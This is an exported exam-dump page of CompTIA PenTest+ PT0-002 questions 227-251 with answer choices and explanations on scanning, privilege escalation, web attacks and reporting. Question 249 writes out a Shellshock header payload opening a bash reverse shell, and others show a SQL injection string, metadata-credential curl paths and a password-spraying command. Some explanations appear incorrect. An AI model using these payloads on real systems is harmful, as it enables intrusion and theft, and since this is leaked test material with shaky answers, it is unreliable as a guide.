This page was exported from Exams Labs Braindumps [ http://blog.examslabs.com ] Export date:Sat Nov 23 13:33:18 2024 / +0000 GMT ___________________________________________________ Title: 100% PASS RATE CompTIA PenTest+ PT0-002 Certified Exam DUMP with 400 Questions [Q227-Q251] --------------------------------------------------- 100% PASS RATE CompTIA PenTest+ PT0-002 Certified Exam DUMP with 400 Questions Updates For the Latest PT0-002 Free Exam Study Guide! Candidates for the CompTIA PT0-002 exam should have a solid understanding of networking technologies, operating systems, and software development. They should also possess knowledge of cybersecurity principles and practices. Candidates who pass the CompTIA PT0-002 exam can gain a competitive edge in the job market and potentially earn higher salaries.   QUESTION 227Which of the following elements of a penetration testing report aims to provide a normalized and standardized representation of discovered vulnerabilities and the overall threat they present to an affected system or network?  Executive summary  Vulnerability severity rating  Recommendations of mitigation  Methodology The vulnerability severity rating element of a penetration testing report provides a normalized and standardized representation of discovered vulnerabilities and their threat levels. It typically involves assigning a numerical or categorical score (such as low, medium, high, critical) to each vulnerability based on factors like exploitability, impact, and the context in which the vulnerability exists. This helps in prioritizing the vulnerabilities for remediation and provides a clear understanding of the risk they pose to the system or network.QUESTION 228A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:Pre-engagement interaction (scoping and ROE)Intelligence gathering (reconnaissance)Threat modelingVulnerability analysisExploitation and post exploitationReportingWhich of the following methodologies does the client use?  OWASP Web Security Testing Guide  PTES technical guidelines  NIST SP 800-115  OSSTMM QUESTION 229You are a penetration tester running port scans on a server.INSTRUCTIONSPart 1: Given the output, construct the command that was used to generate this output from the available options.Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.If at any time you would like to bring back the initial state of the simulation, please click the Reset All button. See explanation belowExplanation:Part 1 – 192.168.2.2 -O -sV –top-ports=100 and SMB vulnsPart 2 – Weak SMB file permissionshttps://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lvl1sec13/fingerprinting-os-and-services-running-on-a-target-hostQUESTION 230A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:Have a full TCP connectionSend a “hello” payloadWalt for a responseSend a string of characters longer than 16 bytesWhich of the following approaches would BEST support the objective?  Run nmap -Pn -sV -script vuln <IP address>.  Employ an OpenVAS simple scan against the TCP port of the host.  Create a script in the Lua language and use it with NSE.  Perform a credentialed scan with Nessus. The Nmap Scripting Engine (NSE) is one of Nmap’s most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language ) to automate a wide variety of networking tasks. https://nmap.orgQUESTION 231A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.INSTRUCTIONSSelect the tool the penetration tester should use for further investigation.Select the two entries in the robots.txt file that the penetration tester should recommend for removal. Explanation:The tool that the penetration tester should use for further investigation is WPScan. This is because WPScan is a WordPress vulnerability scanner that can detect common WordPress security issues, such as weak passwords, outdated plugins, and misconfigured settings. WPScan can also enumerate WordPress users, themes, and plugins from the robots.txt file.The two entries in the robots.txt file that the penetration tester should recommend for removal are:* Allow: /admin* Allow: /wp-adminThese entries expose the WordPress admin panel, which can be a target for brute-force attacks, SQL injection, and other exploits. Removing these entries can help prevent unauthorized access to the web application’s backend. Alternatively, the penetration tester can suggest renaming the admin panel to a less obvious name, or adding authentication methods such as two-factor authentication or IP whitelisting.QUESTION 232A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?  Wait for the next login and perform a downgrade attack on the server.  Capture traffic using Wireshark.  Perform a brute-force attack over the server.  Use an FTP exploit against the server. Reference: https://shahmeeramir.com/penetration-testing-of-an-ftp-server-19afe538be4bQUESTION 233A penetration tester receives the following results from an Nmap scan:Which of the following OSs is the target MOST likely running?  CentOS  Arch Linux  Windows Server  Ubuntu QUESTION 234A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)  Wireshark  Nessus  Retina  Burp Suite  Shodan  Nikto Wireshark and Shodan are two tools that can be used to perform passive reconnaissance, which means collecting information from publicly available sources without interacting with the target or revealing one’s identity. Wireshark is a tool that can be used to capture and analyze network traffic, such as packets, protocols, or sessions, without sending any data to the target. Shodan is a tool that can be used to search for devices or services on the internet, such as web servers, routers, cameras, or firewalls, without contacting them directly. The other tools are not passive reconnaissance tools, but rather active reconnaissance tools, which means interacting with the target or sending data to it. Nessus and Retina are tools that can be used to perform vulnerability scanning, which involves sending probes or requests to the target and analyzing its responses for potential weaknesses. Burp Suite is a tool that can be used to perform web application testing, which involves intercepting and modifying web requests and responses between the browser and the server.QUESTION 235A penetration tester issues the following command after obtaining a low-privilege reverse shell: wmic service get name,pathname,startmode Which of the following is the most likely reason the penetration tester ran this command?  To search for passwords in the service directory  To list scheduled tasks that may be exploitable  To register a service to run as System  To find services that have unquoted service paths The command wmic service get name,pathname,startmode is used by penetration testers to enumerate services and their configurations, specifically looking for services with unquoted paths. If a service’s path contains spaces and is not enclosed in quotes, it can be exploited by placing a malicious executable along the path, leading to privilege escalation. For example, if the service path is C:Program FilesMy Serviceservice.exe and is unquoted, an attacker could place a malicious Program.exe in C:, which would then be executed with the same privileges as the service when the service starts. Identifying such services allows penetration testers to highlight potential security risks that could be exploited for privilege escalation.QUESTION 236The following output is from reconnaissance on a public-facing banking website:Based on these results, which of the following attacks is MOST likely to succeed?  A birthday attack on 64-bit ciphers (Sweet32)  An attack that breaks RC4 encryption  An attack on a session ticket extension (Ticketbleed)  A Heartbleed attack Based on these results, the most likely attack to succeed is a Heartbleed attack. The Heartbleed attack is a vulnerability in the OpenSSL implementation of the TLS/SSL protocol that allows an attacker to read the memory of the server and potentially steal sensitive information, such as private keys, passwords, or session tokens. The results show that the website is using OpenSSL 1.0.1f, which is vulnerable to the Heartbleed attack1.QUESTION 237A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)  Telnet  HTTP  SMTP  DNS  NTP  SNMP QUESTION 238The results of an Nmap scan are as follows:Which of the following would be the BEST conclusion about this device?  This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.  This device is most likely a gateway with in-band management services.  This device is most likely a proxy server forwarding requests over TCP/443.  This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation. The heart bleed bug is an open ssl bug which does not affect SSH Ref:https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-sshQUESTION 239A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial data. Which of the following should the tester do with this information to make this a successful exploit?  Perform XSS.  Conduct a watering-hole attack.  Use BeEF.  Use browser autopwn. ExplanationA clickjacking vulnerability allows an attacker to trick a user into clicking on a hidden element on a web page, such as a login button or a link. A watering-hole attack is a technique where the attacker compromises a website that is frequently visited by the target users, and injects malicious code or content into the website.The attacker can then use the clickjacking vulnerability to redirect the users to a malicious website or perform unauthorized actions on their behalf.A: Perform XSS. This is incorrect. XSS (cross-site scripting) is a vulnerability where an attacker injects malicious scripts into a web page that are executed by the browser of the victim. XSS can be used to steal cookies, session tokens, or other sensitive information, but it is not directly related to clickjacking.C: Use BeEF. This is incorrect. BeEF (Browser Exploitation Framework) is a tool that allows an attacker to exploit various browser vulnerabilities and take control of the browser of the victim. BeEF can be used to launch clickjacking attacks, but it is not the only way to do so.D: Use browser autopwn. This is incorrect. Browser autopwn is a feature of Metasploit that automatically exploits browser vulnerabilities and delivers a payload to the victim’s system. Browser autopwn can be used to compromise the browser of the victim, but it is not directly related to clickjacking.References:1: OWASP Foundation, “Clickjacking”, https://owasp.org/www-community/attacks/Clickjacking2: PortSwigger, “What is clickjacking? Tutorial & Examples”,https://portswigger.net/web-security/clickjacking4: Akto, “Clickjacking: Understanding vulnerability, attacks and prevention”,https://www.akto.io/blog/clickjacking-understanding-vulnerability-attacks-and-preventionQUESTION 240Which of the following tools can a penetration tester use to brute force a user password over SSH using multiple threads?  CeWL  John the Ripper  Hashcat  Hydra Hydra is a powerful tool for conducting brute-force attacks against various protocols, including SSH. It is capable of using multiple threads to perform concurrent attempts, significantly increasing the efficiency of the attack. This capability makes Hydra particularly suited for brute-forcing user passwords over SSH, as it can quickly try numerous combinations of usernames and passwords. The tool’s ability to support a wide range of protocols, its flexibility in handling different authentication mechanisms, and its efficiency in managing multiple simultaneous connections make it a go-to choice for penetration testers looking to test the strength of passwords in a target system’s SSH service.QUESTION 241A penetration tester receives the following results from an Nmap scan:Which of the following OSs is the target MOST likely running?  CentOS  Arch Linux  Windows Server  Ubuntu QUESTION 242A penetration tester wants to find the password for any account in the domain without locking any of the accounts. Which of the following commands should the tester use?  enum4linux -u userl -p /passwordList.txt 192.168.0.1  enum4linux -u userl -p Passwordl 192.168.0.1  cme smb 192.168.0.0/24 -u /userList.txt -p /passwordList.txt  cme smb 192.168.0.0/24 -u /userList.txt -p Summer123 The cme smb 192.168.0.0/24 -u /userList.txt -p /passwordList.txt command is used to perform SMB enumeration on the 192.168.0.0/24 subnet using a list of usernames and passwords. The -u option specifies the file containing the usernames, and the -p option specifies the file containing the passwords1. This command allows the tester to attempt to authenticate with multiple accounts without locking any of them out. Reference: SMB CommandQUESTION 243Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:  will reveal vulnerabilities in the Modbus protocol.  may cause unintended failures in control systems.  may reduce the true positive rate of findings.  will create a denial-of-service condition on the IP networks. QUESTION 244A penetration tester has prepared the following phishing email for an upcoming penetration test:Which of the following is the penetration tester using MOST to influence phishing targets to click on the link?  Familiarity and likeness  Authority and urgency  Scarcity and fear  Social proof and greed QUESTION 245A penetration tester is conducting an on-path link layer attack in order to take control of a key fob that controls an electric vehicle. Which of the following wireless attacks would allow a penetration tester to achieve a successful attack?  Bluejacking  Bluesnarfing  BLE attack  WPS PIN attack A BLE (Bluetooth Low Energy) attack is specifically designed to exploit vulnerabilities in the Bluetooth Low Energy protocol, which is commonly used in modern wireless devices, including key fobs for electric vehicles.This type of attack can allow a penetration tester to intercept, manipulate, or take control of the communication between the key fob and the vehicle. Bluejacking and Bluesnarfing are older Bluetooth attacks that are less effective against modern BLE implementations. WPS PIN attacks target Wi-Fi Protected Setup, which is unrelated to key fobs and electric vehicles.QUESTION 246After compromising a system, a penetration tester wants more information in order to decide what actions to take next. The tester runs the following commands:Which of the following attacks is the penetration tester most likely trying to perform?  Metadata service attack  Container escape techniques  Credential harvesting  Resource exhaustion ExplanationThe penetration tester is most likely trying to perform a metadata service attack, which is an attack that exploits a vulnerability in the metadata service of a cloud provider. The metadata service is a service that provides information about the cloud instance, such as its IP address, hostname, credentials, user data, or role permissions. The metadata service can be accessed from within the cloud instance by using a special IP address, such as 169.254.169.254 for AWS, Azure, and GCP. The commands that the penetration tester runs are curl commands, which are used to transfer data from or to a server. The curl commands are requesting data from the metadata service IP address with different paths, such as /latest/meta-data/iam/security-credentials/ and /latest/user-data/. These paths can reveal sensitive information about the cloud instance, such as its IAM role credentials or user data scripts. The penetration tester may use this information to escalate privileges, access other resources, or perform other actions on the cloud environment. The other options are not likely attacks that the penetration tester is trying to perform.QUESTION 247A penetration tester conducted an assessment on a web server. The logs from this session show the following:http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ‘ ; DROP TABLE SERVICES; —Which of the following attacks is being attempted?  Clickjacking  Session hijacking  Parameter pollution  Cookie hijacking  Cross-site scripting QUESTION 248During an assessment, a penetration tester was able to access the organization’s wireless network from outside of the building using a laptop running Aircrack-ng. Which of the following should be recommended to the client to remediate this issue?  Changing to Wi-Fi equipment that supports strong encryption  Using directional antennae  Using WEP encryption  Disabling Wi-Fi If a penetration tester was able to access the organization’s wireless network from outside of the building using Aircrack-ng, then it means that the wireless network was not secured with strong encryption or authentication methods. Aircrack-ng is a tool that can crack weak wireless encryption schemes such as WEP or WPA-PSK using various techniques such as packet capture, injection, replay, and brute force. To remediate this issue, the client should change to Wi-Fi equipment that supports strong encryption such as WPA2 or WPA3, which are more resistant to cracking attacks. Using directional antennae may reduce the signal range of the wireless network, but it would not prevent an attacker who is within range from cracking the encryption.Using WEP encryption is not a good recommendation, as WEP is known to be insecure and vulnerable to Aircrack-ng attacks. Disabling Wi-Fi may eliminate the risk of wireless attacks, but it would also eliminate the benefits of wireless connectivity for the organization.QUESTION 249A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:exploits = {“User-Agent”: “() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1”, “Accept”: “text/html,application/xhtml+xml,application/xml”} Which of the following edits should the tester make to the script to determine the user context in which the server is being run?  exploits = {“User-Agent”: “() { ignored;};/bin/bash -i id;whoami”, “Accept”: “text/html,application/xhtml+xml,application/xml”}  exploits = {“User-Agent”: “() { ignored;};/bin/bash -i>& find / -perm -4000”, “Accept”: “text/html,application/xhtml+xml,application/xml”}  exploits = {“User-Agent”: “() { ignored;};/bin/sh -i ps -ef” 0>&1″, “Accept”: “text/html,application/xhtml+xml,application/xml”}  exploits = {“User-Agent”: “() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80″ 0>&1”, “Accept”: “text/html,application/xhtml+xml,application/xml”} QUESTION 250A penetration tester discovers passwords in a publicly available data breach during the reconnaissance phase of the penetration test. Which of the following is the best action for the tester to take?  Add the passwords to an appendix in the penetration test report.  Do nothing. Using passwords from breached data is unethical.  Contact the client and inform them of the breach.  Use the passwords in a credential stuffing attack when the external penetration test begins. Upon discovering passwords in a publicly available data breach during the reconnaissance phase, the most ethical and constructive action for the penetration tester is to contact the client and inform them of the breach. This approach allows the client to take necessary actions to mitigate any potential risks, such as forcing password resets or enhancing their security measures. Adding the passwords to a report appendix (option A) without context or action could be seen as irresponsible, while doing nothing (option B) neglects the tester’s duty to inform the client of potential threats. Using the passwords in a credential stuffing attack (option D) without explicit permission as part of an agreed testing scope would be unethical and potentially illegal.QUESTION 251You are a penetration tester reviewing a client’s website through a web browser.INSTRUCTIONSReview all components of the website through the browser to determine if vulnerabilities are present.Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.If at any time you would like to bring back the initial state of the simulation, please click the Reset All button. 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